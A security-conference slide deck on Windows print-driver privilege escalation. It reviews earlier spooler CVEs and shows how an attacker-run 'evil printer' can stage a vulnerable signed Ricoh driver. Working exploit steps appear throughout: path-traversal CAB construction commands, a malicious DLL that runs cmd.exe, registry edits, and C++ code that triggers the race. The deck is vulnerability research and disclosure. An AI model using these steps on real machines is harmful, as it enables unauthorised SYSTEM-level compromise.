




# BRING YOUR OWN PRINT DRIVER VULNERABILITY


Jacob Baines

7 August 2021

# AGENDA



Background  
Research



Print Driver  
Installation



BYOPD  
Exploitation



Detection &  
Mitigations

# SLIDES & CODE AVAILABLE



[https://github.com/jacob-baines/concealed\\_position](https://github.com/jacob-baines/concealed_position)

# SPEAKER INTRODUCTION



Jacob Baines  
Vulnerability Researcher

 [@Junior\\_Baines](https://twitter.com/Junior_Baines)

 [jacob-baines](https://github.com/jacob-baines)



# BACKGROUND: PREVIOUS PRINTER VULNERABILITIES



# BACKGROUND RESEARCH

## RICOH PRINT DRIVER VULNERABILITY



- [CVE-2019-19363](#)
- Full disclosure by [Pentagrid](#)
- Metasploit [module](#) by [Shelby Pace](#)
- Privilege escalation to SYSTEM via %PROGRAMDATA% DLL overwrite during printer install.
- Driver must be installed on the system.



00:18:...	PrintIsolationHost.exe	412	CloseFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	
00:18:...	PrintIsolationHost.exe	412	QueryDirectory	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\headerfooter.dll	SUCCESS	Filter: headerfooter.dll, 1: headerfooter.dll
00:18:...	PrintIsolationHost.exe	412	QueryDirectory	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\headerfooter.dll	SUCCESS	Filter: headerfooter.dll, 1: headerfooter.dll
00:18:...	PrintIsolationHost.exe	412	QueryDirectory	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\popup.dll	SUCCESS	Filter: popup.dll, 1: popup.dll
00:18:...	PrintIsolationHost.exe	412	QueryDirectory	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\popup.dll	SUCCESS	Filter: popup.dll, 1: popup.dll
00:18:...	PoC.exe	3432	CreateFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	Desired Access: Generic Read/Write, Delete, Write DAC, Disposition: OverwriteIf, Options: Sequential A
00:18:...	PoC.exe	3432	CloseFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	
00:18:...	PoC.exe	3432	CreateFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	Desired Access: Generic Read/Write, Delete, Write DAC, Disposition: OpenIf, Options: Sequential Acce.
00:18:...	PoC.exe	3432	QueryAttributel...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	FileSystemAttributes: Case Preserved, Case Sensitive, Unicode, ACLs, Compression, Named Streams, EF
00:18:...	PoC.exe	3432	QueryBasicInfor...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	CreationTime: 02/07/2019 14:58:38, LastAccessTime: 02/11/2019 00:18:00, LastWriteTime: 02/11/20.
00:18:...	PoC.exe	3432	SetEndOfFileInf...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	EndOfFile: 10,240
00:18:...	PoC.exe	3432	WriteFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	Offset: 0, Length: 10,240, Priority: Normal
00:18:...	PoC.exe	3432	SetBasicInfor...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	CreationTime: 01/01/1601 00:00:00, LastAccessTime: 01/01/1601 00:00:00, LastWriteTime: 01/11/20.
00:18:...	PoC.exe	3432	QueryRemotePr...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	INVALID PARAM...	
00:18:...	PoC.exe	3432	CloseFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	
00:18:...	PrintIsolationHost.exe	412	CreateFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, Share
00:18:...	PrintIsolationHost.exe	412	QueryBasicInfor...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	CreationTime: 02/07/2019 14:58:38, LastAccessTime: 02/11/2019 00:18:00, LastWriteTime: 01/11/20.
00:18:...	PrintIsolationHost.exe	412	CloseFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	
00:18:...	PrintIsolationHost.exe	412	CreateFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	Desired Access: Read Data/List Directory, Execute/Traverse, Synchronize, Disposition: Open, Options:
00:18:...	PrintIsolationHost.exe	412	WriteFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	Offset: 0, Length: 12,288, I/O Flags: Non-cached, Paging I/O, Synchronous Paging I/O, Priority: Normal
00:18:...	PrintIsolationHost.exe	412	SetEndOfFileInf...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	EndOfFile: 10,240
00:18:...	PrintIsolationHost.exe	412	CreateFileMapp...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	SyncType: SyncTypeOther
00:18:...	PrintIsolationHost.exe	412	CreateFileMapp...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	FILE LOCKED WI...	SyncType: SyncTypeCreateSection, PageProtection: PAGE_EXECUTE PAGE_NOCACHE
00:18:...	PrintIsolationHost.exe	412	QueryStandard...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	AllocationSize: 12,288, EndOfFile: 10,240, NumberOfLinks: 1, DeletePending: False, Directory: False
00:18:...	PrintIsolationHost.exe	412	CreateFileMapp...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	SyncType: SyncTypeOther
00:18:...	PrintIsolationHost.exe	412	Load Image	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\common\dlz\watermark.dll	SUCCESS	Image Base: 0x7faefd50000, Image Size: 0x7000

# BACKGROUND RESEARCH

## PRINTDEMON



- [CVE-2020-1048](#)
- [Technical write up](#) by Yarden Shafir and Alex Ionescu
- Metasploit [module](#) by [Brendan Watters](#)
- Arbitrary file write as SYSTEM by printing to a printer with attacker controlled file port



# BACKGROUND RESEARCH

## PRINTDEMON PATCH BYPASS



- [CVE-2020-1337](#)
- [Technical writeup](#) by Voidsec
- Metasploit [module](#) by Brendan Watters
- Bypasses the patch by altering the file port to use a junction after permissions have been checked

**ATTACKERKB**  
Not all vulns are created equal

Topics Activity Feed About Leaderboard

Search... Log In

ATTACKER VALUE <sup>i</sup>  
**VERY HIGH**  
(2 users assessed)

EXPLOITABILITY  
**HIGH**  
(2 users assessed)

USER INTERACTION  
**None**

PRIVILEGES REQUIRED  
**Low**

ATTACK VECTOR  
**Local**

**CVE-2020-1337**

Disclosure Date: August 17, 2020 · (Last updated August 28, 2020) ▾

**CVE-2020-1337** CVSS v3 Base Score: 7.8

Report As Exploited in the Wild




# BACKGROUND RESEARCH

## EVIL PRINTER



- [CVE-2020-1300](#)
- [Presented at DEF CON 28](#) by Zhipheng Huo and Chuanda Ding.
- Technical [writeup](#) of CAB parsing by ZDI (no PoC)
- Local privilege escalation.
- Path Traversal in CAB file. Delivered by a remote printer or local admin




<https://twitter.com/steventseeley/status/1323694078022848512>



# EXECUTING EVIL PRINTER

# EVIL PRINTER

## ATTACK OVERVIEW



# EVIL PRINTER

## PRINTER SIDE: CREATING THE CAB



```
> echo "ualapi.dll" "../..../ualapi.dll" > files.txt  
> makecab /f files.txt  
> move disk1/1.cab exploit.cab
```

ualapi.dll reference: <https://enigma0x3.net/2019/07/24/cve-2019-13382-privilege-escalation-in-snagit/>

# EVIL PRINTER

## PRINTER SIDE: DLL SOURCE



```
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

BOOL APIENTRY DllMain(HANDLE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved)
{
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        WinExec("cmd.exe /c whoami > c:\\\\result.txt", SW_HIDE);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
    default:
        break;
    }
    return TRUE;
}
```

# EVIL PRINTER

## PRINTER SIDE: BECOMING A PRINTER



1. Install [CutePDF Writer](#)
2. Set the CutePDF Writer as a shared printer
3. Turn off password protected sharing (Advanced Sharing)
4. Turn on printer sharing (Advanced Sharing)
5. Modify the following registry values in  
`HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Print\Environments\Windows\x64\Drivers\Version3\CutePDF Writer v4.0`
  - a. `PrinterDriverAttributes = 1`
  - b. `InfPath = C:\exploit\exploit.inf`
6. Create an empty file at `C:\exploit\exploit.inf`
7. Copy `exploit.cab` to `C:\Windows\System32\spool\drivers\x64\PCC\`
8. Reboot



# EVIL PRINTER

## CLIENT SIDE



← Add Printer

Find a printer by other options

☐ My printer is a little older. Help me find it.

☒ Select a shared printer by name

Browse...

Example: \\computername\printername or  
http://computername/printers/printername/.printer

☐ Add a printer using a TCP/IP address or hostname

☐ Add a Bluetooth, wireless or network discoverable printer

☐ Add a local printer or network printer with manual settings

Next Cancel

Command Prompt

```
C:\Users\lowlevel>net user lowlevel
User name                lowlevel
Full Name
Comment
User's comment
Country/region code      000 (System Default)
Account active           Yes
Account expires          Never

Password last set        6/28/2021 9:53:17 AM
Password expires         Never
Password changeable      6/28/2021 9:53:17 AM
Password required        No
User may change password Yes


Workstations allowed     All
Logon script
User profile
Home directory
Last logon               6/28/2021 6:37:23 PM

Logon hours allowed      All

Local Group Memberships  *Users
Global Group memberships *None
The command completed successfully.
```


# EVIL PRINTER

## CLIENT SIDE FILE DROPPED




# EVIL PRINTER

## CLIENT SIDE EXPLOITED



# EVIL PRINTER



## TRY YOURSELF!



# EVIL PRINTER STILL USEFUL?



腾讯安全玄武实验室  
TENCENT SECURITY XUANWU LAB



<https://twitter.com/R3dF09/status/1271485928989528064>





# INSTALLING A PRINT DRIVER



# INSTALLING A PRINT DRIVER

## REVISITING RICOH



```
bool installPrinter(const std::string& p_driver)
{
    std::cout << "[+] Installing printer" << std::endl;

    std::wstring wdriver(p_driver.begin(), p_driver.end());

    // install printer
    PRINTER_INFO_2 printerInfo = { };
    ZeroMemory(&printerInfo, sizeof(printerInfo));
    printerInfo.pPortName = (LPWSTR)L"lpt1:";
    printerInfo.pDriverName = (LPWSTR)wdriver.c_str();
    printerInfo.pPrinterName = (LPWSTR)L"Ricoh";
    printerInfo.pPrintProcessor = (LPWSTR)L"WinPrint";
    printerInfo.pDatatype = (LPWSTR)L"RAW";
    printerInfo.pComment = (LPWSTR)L"Poison Damage";
    printerInfo.pLocation = (LPWSTR)L"Shared Ricoh Printer";
    printerInfo.Attributes = PRINTER_ATTRIBUTE_RAW_ONLY | PRINTER_ATTRIBUTE_HIDDEN;
    printerInfo.AveragePPM = 9001;
    HANDLE hPrinter = AddPrinter(NULL, 2, (LPBYTE)&printerInfo);
    if (hPrinter == 0)
    {
        std::cerr << "[-] Failed to create printer: " << GetLastError() << std::endl;
        return false;
    }

    DeletePrinter(hPrinter);
    ClosePrinter(hPrinter);
    return true;
}
```

- Reminder: [CVE-2019-19363](#)
- Race condition when [AddPrinter](#) is called.
- DLL are dropped into a directory in ProgramData.
- A low privileged user can overwrite the DLL.
- If timed correctly, PrinterIsolationHost.exe will load the attacker DLL as SYSTEM.

# INSTALLING A PRINT DRIVER

## RICOH DRIVER ONLY USEFUL WHEN AVAILABLE



### PRINTER\_INFO\_2 structure

05/31/2018 • 5 minutes to read • +1

The PRINTER\_INFO\_2 structure specifies detailed printer information.

### Syntax

C++

```
typedef struct _PRINTER_INFO_2 {
    LPTSTR          pServerName;
    LPTSTR          pPrinterName;
    LPTSTR          pShareName;
    LPTSTR          pPortName;
    LPTSTR          pDriverName;
    LPTSTR          pComment;
    LPTSTR          pLocation;
    LPDEVMODE       pDevMode;
    LPTSTR          pSepFile;
    LPTSTR          pPrintProcessor;
    LPTSTR          pDatatype;
    LPTSTR          pParameters;
    PSECURITY_DESCRIPTOR pSecurityDescriptor;
    DWORD           Attributes;
    DWORD           Priority;
    DWORD           DefaultPriority;
    DWORD           StartTime;
    DWORD           UntilTime;
    DWORD           Status;
    DWORD           cJobs;
    DWORD           AveragePPM;
} PRINTER_INFO_2, *PPRINTER_INFO_2;
```

```
bool installPrinter(const std::string& p_driver)
{
    std::cout << "[+] Installing printer" << std::endl;


    std::wstring wdriver(p_driver.begin(), p_driver.end());

    // install printer
    PRINTER_INFO_2 printerInfo = { };
    ZeroMemory(&printerInfo, sizeof(printerInfo));
    printerInfo.pPortName = (LPWSTR)L"lpt1:";
    printerInfo.pDriverName = (LPWSTR)wdriver.c_str();
    printerInfo.pPrinterName = (LPWSTR)L"Ricoh";
    printerInfo.pPrintProcessor = (LPWSTR)L"WinPrint";
    printerInfo.pDatatype = (LPWSTR)L"RAW";
    printerInfo.pComment = (LPWSTR)L"Poisson Damage";
    printerInfo.pLocation = (LPWSTR)L"Shared Ricoh Printer";
    printerInfo.Attributes = PRINTER_ATTRIBUTE_RAW_ONLY | PRINTER_ATTRIBUTE_HIDDEN;
    printerInfo.AveragePPM = 9001;
    HANDLE hPrinter = AddPrinter(NULL, 2, (LPBYTE)&printerInfo);
    if (hPrinter == 0)
    {
        std::cerr << "[-] Failed to create printer: " << GetLastError() << std::endl;
        return false;
    }

    DeletePrinter(hPrinter);
    ClosePrinter(hPrinter);
    return true;
}
```


# INSTALLING A PRINT DRIVER

## RICOH DRIVER ONLY USEFUL WHEN AVAILABLE



# INSTALLING A PRINT DRIVER

## NOT SO USEFUL WHEN UNAVAILABLE



# INSTALLING A PRINT DRIVER



## CAN IT BE INSTALLED?



- Obviously, can't exploit a driver not on the system.
- But can a low privileged user install the vulnerable Ricoh print driver?
- How?
  - Ricoh installer?
  - Add printer UI?
  - Powershell?
  - printui.dll?
  - prndrvr.vbs?
  - WinAPI?





# INSTALLING A PRINT DRIVER USING THE RICOH INSTALLER?





# INSTALLING A PRINT DRIVER USING THE ADD PRINTER UI?



# INSTALLING A PRINT DRIVER USING POWERSHELL?



```
Add-PrinterDriver -Name "PCL6 Driver for Universal Print" -InfPath  
"C:\Users\lowlevel\Downloads\disk1\oemsetup.inf"
```

```
PS C:\Users\lowlevel> Add-PrinterDriver -Name "PCL6 Driver for Universal Print" -InfPath  
"C:\Users\lowlevel\Downloads\disk1\oemsetup.inf"  
Add-PrinterDriver : One or more specified parameters for this operation has an invalid  
value.  
At line:1 char:1  
+ Add-PrinterDriver -Name "PCL6 Driver for Universal Print" -InfPath "C ...  
+ ~~~~~  
+ CategoryInfo          : InvalidArgument: (MSFT_PrinterDriver:ROOT/StandardCimv2/  
MSFT_PrinterDriver) [Add-PrinterDriver], CimException  
+ FullyQualifiedErrorId : HRESULT 0x80070057 Add-PrinterDriver  
PS C:\Users\lowlevel>
```

## **-InfPath**

Specifies the path of the printer driver INF file in the driver store. INF files contain information about the printer and the printer driver.


<https://docs.microsoft.com/en-us/powershell/module/printmanagement/add-printerdriver?view=windowsserver2019-ps>

# INSTALLING A PRINT DRIVER USING PRINTUI.DLL?



```
rundll32 printui.dll PrintUIEntry /ia /m "PCL6 Driver for Universal Print" /r  
"lpt1:" /f C:\Users\lowlevel\Downloads\disk1\oemsetup.inf
```

```
C:\Users\lowlevel>rundll32 printui.dll PrintUIEntry /ia /m "PCL6 Driver for Univ  
ersal Print" /r "lpt1:" /f C:\Users\lowlevel\Downloads\disk1\oemsetup.inf  
C:\Users\lowlevel>
```



# INSTALLING A PRINT DRIVER USING PRNDRVR.VBS?



```
cscript.exe C:\Windows\System32\Printing_Admin_Scripts\en-US\prndrvr.vbs -a -m "PCL6 Driver for Universal Print" -v 3  
-e "Windows x64" -i C:\Users\lowlevel\Downloads\disk1\oemsetup.inf
```

```
C:\Users\lowlevel>cscript.exe C:\Windows\System32\Printing_Admin_Scripts\en-US\p  
rndrvr.vbs -a -m "PCL6 Driver for Universal Print" -v 3 -e "Windows x64" -i C:\U  
sers\lowlevel\Downloads\disk1\oemsetup.inf  
Microsoft (R) Windows Script Host Version 5.812  
Copyright (C) Microsoft Corporation. All rights reserved.  
Unable to add printer driver PCL6 Driver for Universal Print Win32 error code 5  
C:\Users\lowlevel>_
```

# INSTALLING A PRINT DRIVER USING THE WINAPI?



Windows / Apps / Win32 / Desktop Technologies / Documents and Printing

Filter by title

- DeleteMonitor
- DeletePort
- DeletePrinterDriver
- DeletePrinterDriverEx
- DeletePrinterDriverPackage
- DeletePrintProcessor
- DeletePrintProvider
- EnumMonitors
- EnumPorts
- EnumPrinterDrivers
- EnumPrintProcessorDatatypes
- EnumPrintProcessors
- GetCorePrinterDrivers

## InstallPrinterDriverFromPackage function

05/31/2018 • 2 minutes to read • +1

Installs a printer driver from a driver package that is in the print server's driver store.

### Syntax

```
C++  
  
HRESULT InstallPrinterDriverFromPackage(  
    _In_ LPCTSTR pszServer,  
    _In_ LPCTSTR pszInfPath,  
    _In_ LPCTSTR pszDriverName,  
    _In_ LPCTSTR pszEnvironment,  
    _In_ DWORD dwFlags  
);
```

Copy

<https://docs.microsoft.com/en-us/windows/win32/printdocs/installprinterdriverfrompackage>

# INSTALLING A PRINT DRIVER AS A LOW LEVEL USER



How do we get a print driver  
into the driver store?!



# STAGING A PRINT DRIVER

# STAGING A PRINT DRIVER

## WHAT IS THE DRIVER STORE?



- From Microsoft's [Drive Store](#) documentation:

*Starting with Windows Vista, the driver store is a trusted collection of inbox and third-party driver packages. The operating system maintains this collection in a secure location on the local hard disk.*

*...*

*Before a driver package is copied to the driver store, the operating system first verifies that the digital signature is correct.*

- The trusted location is `C:\Windows\System32\DriverStore`
- Copying a driver into Driver Store is called **staging**

# STAGING A PRINT DRIVER

## WHO CAN STAGE DRIVERS?



- Administrators
- [pnputil.exe](#) often the tool of choice.

```
C:\WINDOWS\system32>pnputil /add-driver C:\Users\lowlevel\Downloads\disk1\oemsetup.inf
Microsoft PnP Utility

Adding driver package:  oemsetup.inf
Driver package added successfully.
Published Name:         oem9.inf

Total driver packages:  1
Added driver packages:  1


C:\WINDOWS\system32>
```

# STAGING A PRINT DRIVER

## STANDARD USER CAN NOW USE THE DRIVER




```
Add-Printer -Name "lol" -DriverName "PCL6 Driver For Universal Print" -PortName "lpt1:"
```



# STAGING A PRINT DRIVER

## CAN SOMEONE ELSE STAGE DRIVERS?



# STAGING A PRINT DRIVER

## CAN SOMEONE ELSE STAGE DRIVERS?



From Microsoft's [Point and Print with Driver Packages](#) documentation:

*A print client that is connected to a print server can use point and print to copy an entire driver package for installation.*

*...*

*Driver signing and driver integrity are checked on the print client.*

*...*

*Driver package installation requires a driver store, which is not available on versions of Windows earlier than Windows Vista.*




# STAGING A PRINT DRIVER

## CAN SOMEONE ELSE STAGE DRIVERS?



An evil printer can stage a print driver!




# STAGING A PRINT DRIVER

## PoC || GTFO



An evil printer can stage a print driver!



# STAGING A PRINT DRIVER

## CREATING A RICOH CAB



This PC > Downloads > disk1

Name	Date modified	Type	Size
copcl6ud	7/2/2019 4:07 PM	Text Document	1 KB
mfri64.dl_	3/3/2016 7:26 PM	DL_File	46 KB
oemsetup.dsc	7/2/2019 4:07 PM	DSC File	1 KB
oemsetup	7/2/2019 4:07 PM	Setup Information	3 KB
rd01kd64.dl_	9/25/2012 2:52 PM	DL_File	534 KB
Readme	6/28/2019 1:06 PM	HTML File	43 KB
ricdb64.dl_	8/22/2006 1:59 PM	DL_File	29 KB
ricu0n	7/22/2019 6:54 AM	Security Catalog	20 KB
ricu0ncb.dl_	5/23/2018 10:25 AM	DL_File	809 KB
ricu0ncd.dl_	6/10/2019 1:17 PM	DL_File	2,991 KB
ricu0ncd.psz	7/2/2019 4:07 PM	PSZ File	4,127 KB
ricu0nce.eij	5/15/2009 10:19 AM	EIJ File	1 KB
ricu0ncf.cfz	7/2/2019 3:58 PM	CFZ File	7,874 KB
ricu0nch	12/5/2018 8:08 AM	Compiled HTML ...	236 KB
ricu0nci.dl_	6/10/2019 1:17 PM	DL_File	653 KB
ricu0ncj.dl_	4/25/2013 4:31 PM	DL_File	162 KB
ricu0ncl	7/2/2019 4:07 PM	Configuration sett...	1 KB
ricu0nct.dl_	2/16/2007 9:47 AM	DL_File	31 KB
ricu0ncz.dlz	7/2/2019 3:58 PM	DLZ File	6,312 KB
ricu0ngl.dl_	6/10/2019 1:17 PM	DL_File	99 KB
ricu0ngr.dl_	6/10/2019 1:17 PM	DL_File	1,862 KB
ricu0nlm.dl_	12/26/2013 2:44 PM	DL_File	18 KB
ricu0ntl.ex_	10/29/2018 1:35 PM	EX_File	1,590 KB
ricu0nug.dl_	6/10/2019 1:17 PM	DL_File	2,470 KB
ricu0nug.miz	7/2/2019 3:58 PM	MIZ File	1 KB
ricu0nui.dl_	6/10/2019 1:17 PM	DL_File	1,978 KB
ricu0nui.irj	7/2/2019 4:07 PM	IRJ File	1 KB
ricu0nui.rcf	4/16/2012 12:58 PM	RCF File	1 KB
ricu0nui.rdj	3/25/2013 8:48 AM	RDJ File	1 KB
ricu0nur.dl_	6/10/2019 1:17 PM	DL_File	2 KB

```
> dir /s /b /a-d > ../files.txt  
> makecab /D MaxDiskSize=268435456 /d "CabinetName1=oemsetup.cab" /f ../files.txt
```

```
C:\Users\lowlevel\Downloads\disk1>dir /s /b /a-d > ../files.txt  
  
C:\Users\lowlevel\Downloads\disk1>makecab /D MaxDiskSize=268435456 /d "CabinetName1=oemsetup.cab" /f ../files.txt  
Cabinet Maker - Lossless Data Compression Tool  
  
32,644,962 bytes in 30 files  
Total files:      30  
Bytes before:    32,644,962  
Bytes after:     27,060,723  
After/Before:    82.89% compression  
Time:            18.25 seconds ( 0 hr 0 min 18.25 sec)  
Throughput:      1747.13 Kb/second  
  
C:\Users\lowlevel\Downloads\disk1>
```

disk1

This PC > Downloads > disk1 > disk1

Search disk1

Name	Date modified	Type	Size
oemsetup	7/1/2021 5:03 PM	Cabinet File	26,436 KB

# STAGING A PRINT DRIVER

## CREATING A RICOH CAB



This PC > Downloads > disk1

Name	Date modified	Type	Size
copcl6ud	7/2/2019 4:07 PM	Text Document	1 KB
mfri64.dl_	3/3/2016 7:26 PM	DL_File	46 KB
oemsetup.dsc	7/2/2019 4:07 PM	DSC File	1 KB
oemsetup	7/2/2019 4:07 PM	Setup Information	3 KB
rd01kd64.dl_	9/25/2012 2:52 PM	DL_File	534 KB
Readme	6/28/2019 1:06 PM	HTML File	43 KB
ricdb64.dl	8/22/2006 1:59 PM	DL_File	29 KB
ricu0n	7/22/2019 6:54 AM	Security Catalog	20 KB
ricu0ncb.dl_	5/23/2018 10:25 AM	DL_File	809 KB
ricu0ncd.dl_	6/10/2019 1:17 PM	DL_File	2,991 KB
ricu0ncd.psz	7/2/2019 4:07 PM	PSZ File	4,127 KB
ricu0nce.eij	5/15/2009 10:19 AM	EIJ File	1 KB
ricu0ncf.cfz	7/2/2019 3:58 PM	CFZ File	7,874 KB
ricu0nch	12/5/2018 8:08 AM	Compiled HTML ...	236 KB
ricu0nci.dl_	6/10/2019 1:17 PM	DL_File	653 KB
ricu0ncj.dl_	4/25/2013 4:31 PM	DL_File	162 KB
ricu0ncl	7/2/2019 4:07 PM	Configuration sett...	1 KB
ricu0nct.dl_	2/16/2007 9:47 AM	DL_File	31 KB
ricu0ncz.dlz	7/2/2019 3:58 PM	DLZ File	6,312 KB
ricu0ngl.dl_	6/10/2019 1:17 PM	DL_File	99 KB
ricu0ngr.dl_	6/10/2019 1:17 PM	DL_File	1,862 KB
ricu0nlm.dl_	12/26/2013 2:44 PM	DL_File	18 KB
ricu0ntl.ex_	10/29/2018 1:35 PM	EX_File	1,590 KB
ricu0nug.dl_	6/10/2019 1:17 PM	DL_File	2,470 KB
ricu0nug.miz	7/2/2019 3:58 PM	MIZ File	1 KB
ricu0nui.dl_	6/10/2019 1:17 PM	DL_File	1,978 KB
ricu0nui.irj	7/2/2019 4:07 PM	IRJ File	1 KB
ricu0nui.rcf	4/16/2012 12:58 PM	RCF File	1 KB
ricu0nui.rdj	3/25/2013 8:48 AM	RDJ File	1 KB
ricu0nur.dl_	6/10/2019 1:17 PM	DL_File	2 KB

```
> dir /s /b /a-d > ../files.txt  
> makecab /D MaxDiskSize=268435456 /d "CabinetName1=oemsetup.cab" /f ../files.txt
```

```
C:\Users\lowlevel\Downloads\disk1>dir /s /b /a-d > ../files.txt  
  
C:\Users\lowlevel\Downloads\disk1>makecab /D MaxDiskSize=268435456 /d "CabinetName1=oemsetup.cab" /f ../files.txt  
Cabinet Maker - Lossless Data Compression Tool  
  
32,644,962 bytes in 30 files  
Total files:      30  
Bytes before:    32,644,962  
Bytes after:     27,060,723  
After/Before:    82.89% compression  
Time:            18.25 seconds ( 0 hr 0 min 18.25 sec)  
Throughput:      1747.13 Kb/second  
  
C:\Users\lowlevel\Downloads\disk1>
```

disk1

This PC > Downloads > disk1 > disk1

Search disk1

Name	Date modified	Type	Size
oemsetup	7/1/2021 5:03 PM	Cabinet File	26,436 KB

# STAGING A PRINT DRIVER

## RICOH CAB INTEGRITY



Setup window showing files for installation:

- mfricr64.dl\_ (DL\_ File, 45.1 KB)
- ricu0n (Security Catalog, 19.7 KB)
- ricu0nch (Compiled HTML Help file, 235 KB)
- ricu0ngl.dl\_ (DL\_ File, 98.5 KB)
- ricu0nui.dl\_ (DL\_ File, 1.93 MB)

ricu0n Properties window (Digital Signatures tab):

Name of signer	Digest algorithm	Timestamp
Microsoft Windo...	sha1	Monday, July 22, 201...

Digital Signature Details window (Advanced tab):

**Digital Signature Information**  
This digital signature is OK.

Signer information:

- Name: bft Windows Hardware Compatibility Publisher
- E-mail: Not available
- Signing time: Monday, July 22, 2019 6:54:20 AM

Certificate window (Details tab):

Field	Value
Version	V3
Serial number	33000000387a14cce6619d8c5...
Signature algorithm	sha1RSA
Signature hash algorithm	sha1
Issuer	Microsoft Windows Hardware ...
Valid from	Thursday, April 18, 2019 2:42...
Valid to	Friday, March 27, 2020 2:42:2...
Subject	Microsoft Windows Hardware

Security Catalog window:

Catalog entries:

- Tag: 0AFDC54B33AC1C5973084382462820527A5D5E2A  
16E91D841E2667C635D347197ED5EF9A65C982E4  
1B06E30E15A3F3A57E35983FCA9EEBF57C920163

Entry details:

Field	Value
Thumbprint algorithm	sha1
Thumbprint	16 e9 1d 84 1e 26 67 c6 35 d3 47 19...
File	ricu0nur.dll

Value:

OK

# STAGING A PRINT DRIVER

## CONFIGURE EVIL PRINTER WITH THE RICOH CAB




- Exactly like the CVE-2020-1300 attack
- To configure evil printer:
  - Refer back to earlier slides for set up

OR


- Use the tool we'll talk about shortly



# STAGING A PRINT DRIVER USING EVIL PRINTER TO STAGE




# STAGING A PRINT DRIVER USING EVIL PRINTER TO STAGE



# STAGING A PRINT DRIVER

## RICOH DRIVER IS STAGED



# STAGING A PRINT DRIVER

## Is This A WINDOWS VULNERABILITY?



# YES!

- We crossed a security boundary
- A standard user wrote a driver of their choosing into the Driver Store
- The driver we chose let's us escalate to SYSTEM.



# STAGING A PRINT DRIVER

## Is This A WINDOWS VULNERABILITY?



# NO!

- This is working as designed.
- Features aren't vulnerabilities.

8:42:04.2624924 ...	spoolsv.exe	2364	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B9B0-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:04.2643248 ...	spoolsv.exe	2364	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B9B0-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:04.3004928 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B9B0-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:04.3024409 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B9B0-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:04.3033061 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B9B0-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:04.3037556 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B9B0-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:04.3044149 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B9B0-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:04.3066388 ...	DrvInst.exe	4428	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B9B0-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
